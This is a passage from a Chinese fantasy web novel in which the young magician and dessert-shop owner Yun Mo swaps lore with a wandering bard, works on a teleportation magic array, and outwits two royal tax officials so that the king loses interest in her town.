蒲公英撒了个娇儿，顺顺当当的在树屋里住下，搂着一颗毛茸茸的大桃子在角落里睡得香甜，胸口一起一伏的。 云漠暂时没有睡意，下到外面的草地上煮了一壶香甜的果茶，加了点野蜂蜜，招呼精灵们和灰鸦过来享用，顺便欣赏月色。 这蜂蜜还是石斧送的，口感非常细腻，云漠一喝就爱上了，很有点欲罢不能。 只是蜂蜜得来不易，守护蜂巢的蜜蜂完全是一头头食肉巨兽，毒性凶猛，采蜜人稍不留神就非死即残，所以价格极其高昂。 原本云漠还想自己弄点来，结果远远瞥了眼蜂巢，麻溜儿滚蛋。 特么的那也叫蜜蜂？！ 一个个展开翅膀足有巴掌大，轰炸机似的，隔着那么老远都能看见它们屁股上闪闪发亮的尖刺了…… 它们的嗅觉异常灵敏，不等云漠靠近便派出侦察兵，黑云压顶般呼啸着朝不速之客的方向飞来。 溜了溜了，这蜂蜜不采也罢。 还是老老实实买吧，买就挺好的！ 果茶以酸梅干为主，还加了点山楂干，很酸，而蜂蜜很好得中和了酸味，形成一种全新的酸甜的风情，清新爽口，与任何甜品都是绝配。 就连睡梦中的蒲公英都被诱惑，搂着大桃子从窗口爬出来，死皮赖脸地蹭了一杯喝。 灰鸦饶有兴致地看着，一直看到蒲公英浑身炸毛，吱吱叫着跑回去睡觉了。 灰鸦很有点遗憾地叹了口气，退而求其次，跟紫叶有一搭没一搭地聊天。 紫叶确实跟灰鸦有些交情，后者的精灵语大约很久没用了，刚开始交谈时还有些生硬，磕磕绊绊的，时不时忘词儿，但几个来回后就重新流畅起来。 紫叶甚至还邀请她参加秋日祭。 灰鸦茫然，“秋日？” 这还流汗呢。 紫叶一副“你不要不识好歹”的欠揍表情，斜觑着道：“你应该不会很快再出发吧？” 接下来会是旷日持久的酷暑和暴雨，根本不适合远行。 “那倒是。”灰鸦摸摸下巴。 她还挺喜欢这个地方的，咳，包吃包住尤其富有吸引力。 银星笑了笑，看向云漠，“到时候你们可以一起去。” 精灵森林内也很久没有游吟诗人到访啦。 第73章 传送魔法阵 夜深了，精灵们没有逗留太久，喝了一壶茶之后便陆续离去。 云漠已经过了困劲儿，倒不想睡了。 见灰鸦也是一副能熬夜的样子，她忍不住八卦起来，“你见过人鱼吗？人鱼族可以上岸吗？海的东边又是什么？ 我平时只听过有雪山精灵，却没见过，跟森林精灵有什么区别，好看吗？” 论交情，云漠其实跟纳林霜和银星等一干精灵比较深，但精灵们对外界事物其实不大在乎，也不关心别的种族发展，更不喜欢议论旁人，多少有点圈地自萌的死宅意思。 但灰鸦不一样。 她是个社恐。 社交恐怖分子。 作为游吟诗人中的杰出代表，灰鸦适应能力极强，掌握着若干国家和地区的方言，基本上跟谁都能来几句，然后第一时间从中获取必要信息，顺便蹭个饭什么的。 灰鸦喜欢跟别人打听事儿，自然也不介意别人跟她打听。 尤其云漠还是临时老板，伙食还不错，所以态度非常诚恳，除某些特殊事件之外，基本有问必答。 “雪山精灵银发雪肤，容貌精致异常，很难说跟森林精灵哪方更美。不过虽然同为精灵族，但雪山精灵并不像森林精灵那么爱热闹，也不爱笑，更没有多少对外界的好奇心。” 灰鸦的表情渐渐严肃起来，语气中也褪去一贯的轻巧，“严格来说，雪山精灵是一种对外族具有相当敌意的魔法生物，它们甚至习惯一言不发地杀死误入雪山的物种……” 那群掌握着高深冰系魔法的魔法生物极其冷酷，像一群雪山深处徘徊的幽魂，抬手就能悄无声息地杀死一切不速之客。 雪山精灵美丽的容颜会让人在第一时间丧失反应能力，怀疑自己坠入梦境，然后永久丧失醒来的机会。 该说幸运还是不幸，灰鸦曾在雪山入口处见到无数大大小小的冰雕，冰雕内的死者还维持着生前的容貌，表情清晰可见： 几乎所有人的眼底都流露出痴迷。 这些闯入者甚至来不及恐惧就死去了。 常年来游走于危险边缘的直觉疯狂示警，于是灰鸦果断放弃前行，赶在雪山涌起代表死亡的白雾时转身离去。 远处燃烧的篝火爆开火花，发出细微的噼啪声，也将灰鸦从可怕的回忆中拉回现实。 夏日特有的热度重新包裹了躯体，寒意从灰鸦四肢百骸中褪去，血液重新奔流。 她将还带着余温的果茶一饮而尽，长长地吐了口气。 哪怕以她多年来四处游走的经验来看，那次的雪山经历也实在算得上恐怖了。 云漠沉默许久，“所以其实你并没有亲眼见过雪山精灵？” 灰鸦摇头，眼底再次翻滚起明亮的闪光，“不，我曾在北境的某个小酒馆里偶遇一支外出的雪山精灵小队。它们不惧风雪，所以哪怕是寒冬，也只披着一件轻巧的，缀满了雪花纹样的精致斗篷。啊，那斗篷真的漂亮极了，也神奇极了，雪花和冰屑无法停留，都会像水珠一样滚下去，而水珠又像遇到金属，半点痕迹都留不下……” 接下来的几分钟里，灰鸦用毕生所知的一切优美词汇来形容了雪山精灵和斗篷的美丽，然后才以咏叹调收尾，“一眼，只一眼，我就觉得自己做了人生中最美妙的一个梦，等醒来时，酒馆里哪里还有精灵的身影？” 酒馆老板和其他客人也没好到哪里去，等大家回过神来，只有柜台上的一小袋碎宝石证明刚才确实不是梦境。 也就是因为这个插曲，灰鸦立刻就决定前往雪山，结果入口处就被劝返。 想来那队雪山精灵还是遵守了原则，考虑到身处人类世界才没有动手。 不然那座酒馆恐怕也要成为令人惊叹的冰雕了吧。 云漠也跟着狠狠松了口气。 这么想的话，会主动对人类发出邀请的森林精灵实在友善得可爱！ 见灰鸦说得口干舌燥，云漠殷勤地为她的茶杯中续满酸甜可口的果茶，以眼神督促她说下去。 再高明的演讲者也需要捧场的听众，灰鸦明显很吃这一套，短暂地清了清嗓子之后便继续了。 “就像几乎每个精灵都是木系魔法师一样，人鱼族也是水系魔法元素的宠儿，天赋高、血脉纯净的人鱼成年后有一定概率获得上岸行走的本领……” 说到这里，灰鸦停顿了下，像是想到什么有趣的事，笑了起来，“其实人鱼和精灵的性格有点儿像，但人鱼更警惕，不过战争已经过去这么多年了，大家心中的阴霾渐渐散去，开始重拾对外界的好奇，”她看向云漠，“说不定甜品屋什么时候会迎来一位人鱼族的客人呢！” 云漠也跟着笑起来，更加好奇，“人鱼哭泣时落下的眼泪会变成珍珠吗？上岸行走时脚会像踩在刀尖上一样痛吗？” 灰鸦的表情变得古怪起来，仿佛在看什么荒唐的东西，“你从哪里听说的，完全是胡说八道嘛！” 人鱼族确实都不爱走路，可那纯粹是不适应，毕竟比起被大海托举，两条腿走路实在是累人，空气也干燥。 她走路多了脚还肿呢！ 云漠：“……” 童话故事里看来的。 “珍珠么，”灰鸦挠挠下巴，“人鱼族确实对珍珠情有独钟，部分珍珠也是珍贵的魔法材料，哦，似乎人鱼很喜欢捧着珍珠，将脸埋进去摩擦，难道是因为这个吗？” 云漠立刻抖擞起来。 看嘛，童话故事也并非一无是处！ 灰鸦见状，摇头失笑。 灵魂却无法抵御岁月侵蚀，但高明的武技却可以延缓肉/体衰老，灰鸦始终保持着一颗探究为止的心，这让她无论何时看上去都那么生机勃勃。 于是她马上提出，是否有幸参观新阿索城。 “我曾亲眼目睹阿索城的繁华，也痛惜那些毁于私心的繁华过往，一切都还像昨天一样清晰。说遗憾，似乎也不是那么遗憾，不过如果能见证它重新崛起就再好不过了。” 身兼服务员、清洁工、保安、表演者数职的灰鸦工作非常努力，虽然胃口有点大，但只要将这种工作强度保持下去，一开始欠的那顿霸王餐估计用不了多久就可以还清。 算算，云漠还赚了。 “过几天吧，”云漠回忆了下自己因为过分拥挤，以至于远看像一团黑色污渍的拥挤不堪的行程本，“马上就是雨季了，就算不下雨也会持续高温，人们无法出行，这里的买卖也将告一段落。等我跟老师交接完，就是暑假啦，到时候有的是时间招待你。” “哦，老师！”灰鸦顿时来了兴致，双眼被火光映照出两团光亮，语速飞快的说：“我确实听说你拜了铭文大师纳林霜为事，要知道上一任人类和精灵之间明确的师徒关系还是种族混战之前呢，真是太不可思议了！所以你白天不在，就是去上课了对吗？纳林霜很少在外露面，外界一度传言纳林霜是堕落魔兽的后裔，非常残暴、冷酷无情，浑身上下都散发出血腥味……” 云漠无奈。 您这么大年纪了，还这么八卦好吗？ “不如你自己过去闻闻？”云漠露出死鱼眼。 灰鸦嘿嘿发笑，一点儿也不害怕。 胆子小的游吟诗人早就死光啦！ 对这种人，云漠还真没什么办法，只好含糊道：“纳林霜老师是一位杰出的木系魔法师和铭文大师，坦率又真诚，拥有非常多的可贵的品质……虽然每次的作业又多又杂，但老师一定是为了我好！” 最后一句，云漠隐隐带了哭腔。 游吟诗人同情地看了她一眼，视线下拉，看着地上乱七八糟的线条问：“这也是你的作业？魔法阵？” “嗯。”云漠吸吸鼻子，说到专业也来了精神，“你知道空间魔法阵吗？” 灰鸦清晰可见地吸了口凉气，“你已经在绘制空间传送阵了？” 她虽然不是魔法师，但毕竟活了很多年，又有几位精灵和人类魔法师朋友，对相关知识颇有耳闻。 魔法之中，风火水木四类元素魔法最为常见，雷系、变异的冰系和光明、黑暗几种相对稀有。 而在这之中，空间魔法最为特殊。 相传空间魔法精通到某个阶段后可以操纵时间，它既不属于元素魔法，也不属于变异魔法，原则上说，任何一位魔法师又有可能涉猎。 它的理论门槛就是这么低，但实际门槛却又高得可怕：真正掌握的寥寥无几。 “只是尝试，”云漠叹了口气，“很难，太难了。” 她一直对当下的交通颇为不满，了解到空间魔法后就产生了绘制空间传送阵的想法，这样就能够无视天气影响，将赶路浪费的时间压缩到最低。 而且空间魔法阵的最大好处就是只允许魔法师开启，开启也需要相当的魔法量，附近只有自己一名人类魔法师，就相当于直接把门钥匙握在了自己手中。 无奈实际操作起来比云漠想象的更为艰难。 传送魔法阵的原理非常简单，就是用足够强大的魔法潮汐人为打造空间震荡，然后在维持空间震荡稳定的前提下，从中撕裂并重建空间通道。 实现的条件也很简单，有且只有两个：超群的空间理解能力，以及足够充沛的精神力。 简单，不代表容易。 换个通俗易懂的表达方式吧： 你问神明，神啊，我怎么才能过上好日子？ 神明回答说，哦，我的孩子，非常简单，只要你有两个亿就行了。 你再问，那我该怎么赚两个亿呢？ 神翻了个白眼，“这我不管。” 第74章 友谊 得益于穿越前几何和物理成绩出众，云漠的空间理解和构建能力足以令纳林霜惊叹，完全没有任何问题。 现在横亘在她面前的唯一阻碍就是精神力。 魔法阵的绘制必须连贯，保持稳定的输入量一次完成，中间不能有任何停顿和偏差，所需精神力的量与传送距离和物品分量成正比，距离越长、承载上限越高，消耗的精神量越大。 除天赋之外，精神力的积累完全依赖于魔法师本人的熟练度和经验，而这两样又跟时间息息相关，几乎没有捷径。 大型铭文作品本就消耗巨大，而传送魔法阵要想发挥作用，数量必须大于一，以便保障出入畅通，不至于迷失在时空乱流中，注定了消耗成倍增加。 不用想就知道是个天文数字。 于是云漠就同时面临一个坏消息和一个好消息。 坏消息是，她没有两个亿。 好消息是，纳林霜是位外冷内热的神，慷慨地给她指了两条“活路”。 在绘制高等铭文作品时，魔法师们经常会面临类似精神力短缺的情况，这并不罕见。 经过无数次实践，前辈们总结出了两套行之有效的解决方案： 第一个是像当初打造精灵国度内部的大型“冷暖空调”那样，由数位实力相当、长期合作且相互信任的同伴一起施法，保障“供大于求”。 云漠想都没想就选择放弃，但凡多犹豫一秒都算自己昏了头。 条件太苛刻了，真的。 魔法师联合施法不罕见，但那都是相互独立的个体。 同时作用在同一个魔法阵内，极其罕见。 毫无芥蒂的信任、高度的相互了解，缺一不可。 无论哪一种都需要漫长的磨合，再加一点微妙的缘分，可遇而不可求。 哪怕放在种族混战之前的文明繁荣时代，能做出这种跨种族、跨属性的多位魔法师通力协作的大场面也是少之又少，更何况现在？ 所以当初呼尔雅等精灵的骄傲完全可以理解！ 简直是世界奇迹啦！ 说起来，迄今为止，云漠还没亲眼见过第二位人类魔法师呢！与海螺部落的首领，那位水系魔法师也只是笔友…… 跟谁合作？ 怕不是想桃子吃。 至于精灵，大家交情确实不错，一起欢笑，一起玩乐，或许也能称得上信任。 但毫无芥蒂？ 哪怕面对银星和纳林霜，云漠也不敢打包票。 她有太多秘密，也有太多顾忌，而种族混战给精灵族和人族之间留下的创伤永远都不可能消失。 除非再次共同经历生死，不然两个种族绝不可能重现昔日的融洽。 云漠没办法，也不想将一切寄希望于虚无缥缈的“同生死，共患难”，那种事还是不发生为妙！ 据纳林霜说，以云漠目前的硬件实力，哪怕一切顺利大约也只够绘制一个5米左右的空间魔法阵，还只能运输她自己。 5米！ 这跟没有有什么分别！ 她立定跳远都能跳两米五！ 那么唯一可行的办法就是提前蓄能。 不是像提前绘制魔法阵那样蓄能，而是提取纯粹的精神力，制作真正的充电宝，后期可以随意调取、重新支配的那种。 但还是那句话，精神力本身是游离的，一旦脱离载体就会快速消散，除非利用铭文手段将其禁锢。 但这么一来，就势必沦为魔法阵，后期就没法用了。 所以这就是一个悖论，几乎不可能实现。 至少目前看来是这样。 人为不行，就只能借助于道具。 有明确记载以来的精神力储备道具有且只有一个，蓄魔水晶。 那是一种非常稀有且珍贵的宝石，成长条件不明，蕴藏着非常纯粹且庞大的精神力，拇指那么大的一块就够一位中极魔法师从魔力耗尽的状态中完全解脱出来。 对魔法师而言，重回精神力巅峰状态无异于重生，相当于多了一条命，蓄魔水晶的宝贵不言而喻。 尤其在各种冲突和战乱时期，更是有价无市。 但蓄魔水晶是一次性用品，大多数魔法师都将它作为压箱底的保命法宝。 用来绘制空间魔法阵什么的，未免太过暴殄天物了。 相传曾有无数炼金师前赴后继，试图人工打造蓄魔水晶，但无一例外都失败了。 简单了解后，云漠就绝了搜罗蓄魔水晶的念头。 我真该死啊！ 这是何等败家破业的行为！ “那老师，除了蓄魔水晶之外，应该还有别的什么替代品吧？”云漠不死心地问。 如果她没记错，某种药剂也有类似的效果。 纳林霜没有否认，操纵藤蔓丢了一枚水晶瓶过来，里面散发出来的淡淡味道和荡漾的色泽很是眼熟。 云漠马上就认出来了。 精神力恢复药剂，她喝过，不止一次！ 当初被猴群围攻，还有后期感应水系魔法元素，两次魔力耗尽，都被投喂过。 缺点是不好喝，死贵，恢复有限。 但优点是只要有钱就买得到，而且没有副作用。 这也是药剂师受人尊敬的原因之一： 她们是真的能救命，救魔法师的命。 听到这里，灰鸦也跟着兴奋起来，“所以局面对你相当有利，毕竟你同时涉猎魔法、铭文和药理学不是吗？” 云漠缓缓吐了口气，眼底也泛起难掩的激动，“是的。” 果然每一分努力都不会被辜负，前期的那些辛苦，都将在不久的将来得到回报。 丰厚的回报。 “自给自足”是个相当有吸引力的前提，这代表着云漠不必受制于人，那么后期得到的硕果也完全自由支配。 就……很有动力啊！ 因此云漠最近只专注于两件事：反复熟悉空间魔法阵理论，疯狂制作精神力恢复药剂。 理论和实践毕竟有偏差，她不确定自己要失败多少次才能成功。 但总有盼头不是吗？ 她想好了，到时候直接弄个吸管一边施展魔法一边吸，主打一个进水口永远大于出水口！ “不过精神力恢复药剂的原材料应该不便宜吧，或许有的还不常见？”灰鸦一针见血地问。 云漠胸口一堵，沉痛地点了点头，“是的！” 精神力恢复药剂由四种材料配制而成，分别是月光草的茎、星空兰的花瓣、岩浆果的汁液和冰鱼鳞粉末。 其中月光草、星空兰花都能从浩瀚森林中采集到，而岩浆果顾名思义，是一种只生长在火山附近，岩浆流淌过的岩石缝隙中的果实，附近虽然没有，却可以跟矮人交易，都不是问题。 唯独冰鱼，相当棘手。 那是一种冰系魔法生物，奇特的是，它们本身并不会主动释放魔法，但体内流淌的魔力却能在鳞片表面形成一层极其光滑坚硬的“铠甲”，让它们拥有了极高的防御力，水下速度也飞快。 经过日复一日、年复一年的魔力淬炼，冰鱼鳞片内也滋生出某种特殊的成分，能有效维持药剂稳定性、促进恢复。 冰鱼只所以能身负宝藏还不灭绝，除速度和防御力之外，生活环境才是最好的天然屏障。 从名字就不难看出，这是一种冷水鱼类，每年只有冬季最冷的一个月会南下取暖，其余时间都生活在遥远的北海。 那是一片人类无法涉足的冰封之地，可谓绝境。 冰鱼的这种生活属性直接导致市面上流通不多，不仅是非同一般的贵，更常常断货。 了解之后，云漠也不禁对纳林霜更多几分敬爱。 至少从对方毫不吝啬地两次喂自己喝药还不要钱来看，老师真疼我！ 据纳林霜说，市面上大部分冰鱼鳞都来自人鱼族，因为特殊的身体构造完全可以支撑它们跨海北上，而冰鱼也在人鱼族的食谱上。 另外还有一小部分来自极个别沿海部落。 那些人类部落常年捕鱼，偶尔冬日冒险出海时，也能网到几条放松警惕的冰鱼。 云漠立刻两手抓： 一面请求两位精灵老师尝试联络人鱼族，采购冰鱼鳞，一面传讯给海螺部落，看看那边有没有存货。 截至目前为止，尚未得到准确回复。 出于广撒网多捕鱼的心态，云漠还在前不久的集市上向部分交易伙伴求购。 消息很快传到瑟琳耳中。 作为紫叶的战友，三精集团成员之一，难得对铭文感兴趣的精灵，瑟琳还与云漠有一段不怎么名正言顺的“师徒情谊”，听到风声后特意过来询问。 得知是为了绘制空间法阵做准备，瑟琳难掩羡慕，“真好啊。” 云漠安慰道：“各有所长嘛！” 瑟琳笑笑，没有说话，只衷心祝福人类朋友能梦想成真。 “如果这边有个传送阵的话，以后我们见面也方便多啦。” 确实各有所长，但这个“长”是否出现在自己真正喜欢的领域，真的很不一样。 云漠最佩服的就是瑟琳豁达的心胸，也笑着说：“当然，以后你想吃什么点心就能马上吃到啦。” 真正接触空间铭文之后，云漠才意识到空间魔法的核心已经涉及到了时间维度的四维概念，这对连二维、三维灵活转换都无法完全掌握的瑟琳而言无疑是个噩耗。 这已经不是单纯的努力和用心就能攻克的了。 正如云漠可能都终极一生都学不会填词作曲一样，恐怕瑟琳对铭文的学习也只能止步于此…… 听到这里，灰鸦不知从哪里掏出一卷羊皮纸，又抽出羽毛笔舔了舔，立刻动情地埋头狂写起来，“啊，真是一段感人的友情啊！请务必让我见见那名胸襟宽广的精灵！” 云漠：“……喂，我胸襟也不狭隘好吗？” 没听说过物以类聚，人以群分吗？ 灰鸦还真没听过，写得头也不抬，顺利偏离话题。 第75章 交换 逗弄了一会儿小领主后，灰鸦才渐渐收敛，“那两个税务官，你打算怎么处理呢？” 总不能一直躲下去，逃避不是办法。 云漠神秘兮兮地说：“或许还真有个好办法……” 印章丢失的事情并未公开，灰鸦自然也不知道那两个税务官先一步陷入了大麻烦： 正如武器是战士的生命，哪怕圆满完成任务，官员弄丢印章也算得上丑闻，绝对无能的体现。 即便对方将过错推到自己身上，奥菲三世也不过多迁怒一个人，而绝不会因为有了替罪羊而改变对那两名蠢货的看法…… 云漠非常清楚这类小官儿的心思： 个人利益高于一切。 之前没有捅篓子，大约两人还能一致对外，可现在？ 恐怕他们现在更应该担心怎么活下去，怎么安全返回王都…… 就怕没需求。 只要有，就代表着合作的可能。 此时此刻，年青一些的税务官正盯着前辈睡梦中的身影出神，各种邪恶的念头不断翻滚。 这次来好像就是一个错误，不，或许他们不该盲目听从税务大臣的命令，搞什么暗访…… 那些该死的大臣只知道躲在天鹅绒床帏里偷偷数金币，恐怕连王都大门都没出过，懂什么呢？！ 没在第一时间证明自己的身份，现在好了，信物丢失，任何一位领主都有理由拒绝配合了。 想到这里，年青税务官烦躁地抓了抓油腻腻的头发，不断在心里咒骂： 这鬼地方他真是受够了！ 到处都是愚昧无知的贱民，没有一丁点儿对王都的敬畏，简直糟糕透顶！ 不过现在说什么都晚了，懊恼不会带来任何帮助，接下来最要紧是的保证自己能活着回到王都。 是的，自己！ 为什么一定要两个人一起受罚呢？ 留一份完整的体面不好吗？ 接下来的两天，狼狈的阴霾笼罩在王都一行人头顶上空，每当饥饿来袭、夜幕降临，气氛便会加倍凝滞，简直比夏日暴雨前的闷热空气更令人窒息。 此刻他们已经完全顾不上什么任务了，一心只想偶遇丹茂王国来的马车，好尽快脱离苦海。 但这并不容易。 因为失去了身份证明，又遭遇扒手，遗失了大部分珍贵物品，剩下的一点也陆续拿来换取住处、药物和食物，不久前还光鲜亮丽的众人看上去活像难民，完全没人相信他们说的什么“我们是王都税务官”的鬼话！ “去去去！”一名伯爵家的男仆厌恶地看着他们，命同行的卫兵驱逐，“敢弄脏伯爵大人的马车就打死你们！” 哼，这种把戏他见得多了！一群异想天开的穷鬼，呸！ 其余人也差不多是这个反应。 大家都只是替主人前来购买新奇的美味，要做的就只有尽快将食物完好无损地带回去，其余的，与他们无关！ 很快，他们迎来抵达甜品屋后第一场真正意义上的大雨。 豆大的雨点迅速浸透地面，空气中浮动着植被和泥土混杂发酵后特有的湿热气味。 这气味将人紧紧包裹，黏答答的难受。 年青的税务官嘴唇紧抿，五官皱得像极了他身上的衣服，疙疙瘩瘩，臭烘烘。 昨晚他们的队伍内部发生了分歧，起因是一件貌似很小的事：关于麦饼的分配。 哦，当然，或许这件事现在也不算小了，毕竟饿肚子真的很难受。 年长的税务官认为自己资历深厚，又富有经验，祖上还是子爵，身份高贵，理应分得更大一块。 但年青的税务官却认为，资历深厚只能说明你这么多年来毫无建树，祖上的爵位更印证了你的堕落和无能…… 这个插曲直接导致内部矛盾激化，瞬间浮出水面： 两个倒霉蛋都读懂了彼此心里的算计。 简单来说，就是两人都想把对方当垫背…… “咦，我之前怎么没见过你？”充满活力的女声径直穿透雨幕，显示出它的主人一定吃得很饱。 年青的税务官抬头望去，就见一个穿着朴素的少女正好奇地打量着自己，明亮的大眼睛中充满了直白的同情。 “你看上去遇到了麻烦，”少女这么说，“有什么我能做的吗？” 有！ 非常多！ 年青的税务官深吸一口气，努力抑制住心中狂喜，装模作样行了个礼，然后挺直腰杆，试图让自己看起来风度翩翩一点，并矫揉造作地说：“可爱的小姐，日安，如您所见，我是一位来自丹茂王国的官员，因为种种不便言明的原因沦落至此，如果您能帮助我返回王都，我将不胜感激！” 少女闻言露出惊讶的表情，似乎并未怀疑这番听上去颇具诈骗气息的言辞，然后又羞涩道：“我一看就知道您是个好人，想必一定遭遇了很可怕的事情。不过您既然是一名官员，怎么会来这种荒凉的地方呢？难道没有同伴吗？” 眼见对方的表情变得尴尬，尴尬中又混杂了一抹羞怒，少女非常善解人意地转移话题，“虽然我不方便亲自送您回家，但幸运的是，我认识几个赶马车的……哦对了，请问我该怎么称呼您呢？” “波尔，”年青的税务官说完，顺口问，“那么这位小姐，我又该怎么称呼您呢？” “波尔先生，”少女咧嘴一笑，“叫我克劳德好了。” “好的克劳德女士……克劳德？！”波尔瞪大了眼睛。 见鬼，我听见了什么！ 克劳德这个姓氏并不多见，这种地方就更少了……仔细看看，似乎年纪也对得上。 波尔飞快地瞥了云漠一眼，怀着既紧张又愤怒且憋屈的心情再次确认道：“你是阿索城的新领主？” 云漠点头，眨眨眼，十分无辜的样子，“是呀，您认识我？” “不，当然不，”波尔咬牙切齿地说，几乎快要维持不住脸上的假笑，“克劳德小姐，前几天我们去过你的甜品屋，不幸的是被几个该死的店员赶了出来……” “哦那可真是抱歉，”云漠没什么诚意的耸耸肩，“不过我并没有听说王城来人，而且，你们为什么不提前表明身份呢？不然我以后被骗怎么办？王国和陛下的名誉损毁，又该怎么办呢？说起来，方便给我看看您从王国带来的证明吗？” 眼见波尔的脸从红变白，又从白变黑，云漠夸张地喊道：“该不会没有吧？这不可能呀！” “当然不是！”波尔气急败坏地说。 “好吧好吧，真是任性的大人啊！”云漠无奈地说。 波尔脸上立刻变得火辣辣的。 可恶，总觉得哪里不对劲。 “无论如何，在这种地方见到王都来人，我真的很开心，”云漠仿佛没看出他的怀疑，“如您所见，这里乱糟糟的，简直不像样子，连件像样的漂亮裙子都没有，我真是怀念以前在王都的生活呀！” 看着她身上毫无装饰的直筒裙，再回忆下最近几天的遭遇和生存状态，波尔一点儿都不怀疑她的真诚。 这里真的是太糟糕了！ “可你不是魔法师吗？”波尔仍努力维持着表面的谨慎，“听说还拜精灵为师。” “哦，就像您知道的那样，魔法阵的太深奥了，我现在也不过刚刚入门而已，能做成什么事儿呀？至于精灵，都是走形的谎言而已，难道您真的以为精灵会真心教导人类吗？” 云漠义正词严地反问。 嘿嘿，还真有！ 可惜你见不到！ 波尔语塞。 说老实话，他也不信。 他虽然不会魔法，丹茂王国内部现在也没有魔法师，但他曾听祖辈说起过魔法师的光辉，也知道修炼的艰难和缓慢，更了解精灵参与战争的残暴…… 一个刚觉醒魔法天赋不久的人类少女令精灵折服？ 听听，什么鬼话！ “尽管如此，我还是愿意相信您的话，”云漠慷慨地说，“也愿意帮忙联络前往丹茂王国的马车，我相信不管您经历了什么，一定都不是您的错，我愿意为您做证！” 波尔的心灵得到了极大的安慰。 谁能想到呢，几个月来说话最动听的竟然是敌人？！ 不过作证？ 真的吗？ 波尔不是没想过将官方文书和印章的丢失栽赃给阿索城领主，但如果陛下追问，根本说不通： 阿索城为什么毁坏官印？ 如果真的想造反，难道不是杀死税务官更简单？ 指望王国声讨？ 王国也不是傻子，不可能想打哪里就打哪里。 骑士团出行后的每一次呼吸都在燃烧银币，如果回报不够，陛下也不会允许骑士团出动…… 据说新阿索城的状况虽然有所改善，但据他观察，甜品屋的生意并不足以支撑一整块领地，即便骑士团过来毁灭一切，也带不会多少战利品。 到时候陛下一定更觉得自己被愚弄，怎么可能躲过去？ 但如果一名王国官员与一名领主一起指控另一名底层官员呢？ “是的陛下，他假借您的名义，借机敲诈阿索城的领主，善良柔弱的克劳德小姐，还沉迷享乐，天天都用果酒将自己灌得醉醺醺的，有一次竟然直接把官方文书和印章都弄丢了……我们都可以作证！” 第76章 正轨 奥菲三世的表情实在说不上温和，胖胖的税务大臣从旁边给了波尔一肘子，警告他不要乱讲话。 低声些，难道光彩吗？ 其实波尔根本没有面见奥菲三世的资格，只是不知谁把他回来的消息传出去，奥菲三世召见，税务大臣只好带他过来。 谁知这蠢货张嘴就攻击队友！ 这么一来，税务大臣就倒霉了，毕竟是他的手下。 奥菲三世瞥了税务大臣一眼，问波尔，“人呢？” 波尔面不改色地说：“他并不认为自己有错，一直在试图隐瞒，完全没有干活儿！我们实在看不下去，只好提前回来说明情况……” 其实是波尔收了云漠的好处，连夜带着亲信跑路，先一步赶回王都告状。 至于那位前辈同僚，谁知道他现在怎么样了！ 就像在野外遇到可怕的棕熊，任何抵抗都是徒劳，你要做的有且只有比队友跑得快。 至于队友，谁管他死活？！ 显然从出生就高高在上的奥菲三世也不在意一两名低级官员的安危，只问波尔的调查结果。 波尔半真半假地说：“克劳德小姐确实觉醒了魔法天赋，也进行着甜品买卖，但传言显然过于夸张。她的魔法实力非常平庸，店面也很小，因为甜品价格高昂、运输困难，成交并不算多，价格只有1、2枚银币……” 为了表明自己确实努力工作了，波尔疯狂编造、补充，试图让自己的表述听上去更详细更可信，“另外，她并不懂什么种植，现在也还跟当地的种植部落交易粮食，或许是因为年纪小，没完成相应的教导，管理也相当艰难，又有些不切实际的天真和善良，竟允许许多贱民靠拢，所以装扮十分简朴，不仅没有什么体面的饰品，甚至出行都没有马车，完全没有任何贵族该有的气派。” 双方初次见面时，波尔根本没有认出云漠的身份，因为对方的穿着打扮、言行举止都太随和，根本就不像贵族！ 总体而言，波尔没有说谎，但也没尽到应尽的义务，并未进行任何深入调查，只是把眼睛看到的转述了而已。 比如新阿索城的固定交易中，最大规模的当属与森林精灵、虎部落和藤部落、海螺部落的买卖，因为各方都拥有良好的信誉，所以一早就绕开集市，转入地下，根本不会走公账，外面的人也不知道真实的贸易内容。 也就是说，云漠一直在从容地逃税！ 至于去年开始陆续展开的【沁凉背心】魔法产物贸易，更是个人对个人，客户直接与云漠本人对接，更加隐秘。 众所周知的甜品屋也不过赚个零头，维持日常开销，为大家提供一个交流的场所罢了。 而一旦除去这些，只靠种植又能赚到什么呢？ 所以奥菲三世还真就觉得波尔的调查结果没问题。 因为太合理了！ 知道新阿索城没什么油水后，奥菲三世瞬间丧失兴趣，随便就把波尔打发了。 然后又告诉税务大臣，“不必让另外那个蠢货回来了。” 那个蠢货发现同伴不见后，立刻就想到了一系列可能，马上要求直接与阿索城领主对话。 但这个时候，云漠已经干脆利落地处理完集市营地这边的事，放假回家过雨季了。 回去的车队中还多了位游吟诗人，云漠也久违的坐了马车，一路都在听灰鸦用各种调子唱着所见所闻。 当远处的新阿索城映入眼帘，灰鸦忍不住发出惊叹，“真是太棒了！” 现在的阿索城已经大变样： 护城河又宽又深，既方便雨季泄洪，旱季储水，又能有效阻挡敌袭。 用碎石混合着泥巴和草根修整而成的城墙又高又坚固，每个方向都有木制瞭望哨楼，每座哨楼都配置视力出众的哨兵、弓手，哨兵用号角和不同颜色的旗子与地面巡逻队保持联系，出入人员都必须核实身份。 进入城区后，成片的规格统一的房屋再次震撼了灰鸦。 现在新阿索城的运转已经步入正轨，一切有玛雅姨妈照料，云漠很放心，经常不在家。 现在她突然回来，居民们顿时陷入狂热，沿途每一个遇到的人都脱帽，向她大声打招呼。 有些情绪激动的甚至红了眼眶，带了哭腔，看上去恨不得立刻扑上来亲吻她的手背。 可就算是这样，竟也没人抛弃手中的工作，不仅让灰鸦大感惊讶。 这无疑显示了这些居民接受了长期的系统的训练和教育，所以才能这样懂礼貌、有纪律。 可这显然需要付出相当大的投入，相当多的努力……用在普通居民身上，可能吗？ 合理吗？ 即便是灰鸦，也有些不敢相信，看向住宅区的眼神都呆滞了。 前来迎接的少女阿苗难掩骄傲地介绍说：“领主大人亲自规划，平整土地、修建居民区。所有居民都打散后按照年龄、职业重新分配住宅，每块住宅区都编号，现在已经排到第六区啦！玛雅夫人会为每个人都制定信息册子，分派信息编号……” 真是不可思议，竟然是领主主动带头帮忙建的。 要知道在绝大部分贵族眼中，平民甚至算不上人，价值并不比一头牲畜贵多少…… 灰鸦认真记录，不断根据自己看到的提问，收获满满。 不得不说，统一规划的屋子整齐干净，又很宽敞，看上去舒服极了。 不同住宅区之间还用排水性良好的结实藤蔓、碎石子修了路，边缘挖掘排水沟，下了雨也不会积水，更不会一踩一脚泥，干净极了。 阿苗还坚持要带灰鸦去参观白房子。 “白房子？说起来，从进城开始我就陆续看见了好几座呢，那是什么地方？” 灰鸦饶有兴致地问道。 